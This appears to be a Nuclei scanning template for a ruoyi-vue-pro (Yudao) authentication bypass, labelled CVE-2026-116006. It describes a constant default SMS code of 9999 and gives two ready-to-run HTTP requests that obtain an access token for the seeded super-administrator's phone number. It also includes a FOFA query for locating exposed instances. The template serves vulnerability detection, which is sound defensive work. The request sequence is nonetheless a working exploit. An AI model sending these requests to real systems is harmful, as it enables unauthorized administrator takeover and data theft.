ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant "9999" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile.
id: CVE-2026-116006
info:
name: Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code
author: kosoyyagent
severity: critical
description: |
ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant "9999" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile.
impact: |
Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
remediation: |
Update to the latest version.
reference:
- https://gist.github.com/Fulucky0-yuri/1ad8a1f166af7cb85c498473753a8636
- https://github.com/YunaiV/ruoyi-vue-pro
- https://nvd.nist.gov/vuln/detail/CVE-2026-116006
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.2
cve-id: CVE-2026-116006
cwe-id: CWE-1188,CWE-798
epss-score: 0.00834
epss-percentile: 0.579
metadata:
verified: true
max-request: 2
fofa-query: body="ruoyi-vue-pro"
tags: cve,cve2026,ruoyi,yudao,auth-bypass
http:
- raw:
- |
POST /admin-api/system/auth/send-sms-code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"mobile":"18818260272","scene":21}
- |
POST /admin-api/system/auth/sms-login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"mobile":"18818260272","code":"9999"}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'accessToken":'
- 'refreshToken":'
condition: and
- type: word
part: body
words:
- "\"code\":0"
# digest: 4b0a00483046022100f2fe66e48df6705ad581d76e2c48f5c2837723ed045d88ed669826a4702751e0022100a38d7817a82ad2a69d6263bb9352ef041d12ea3037b00d5f3f5978e3f540bdbc:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.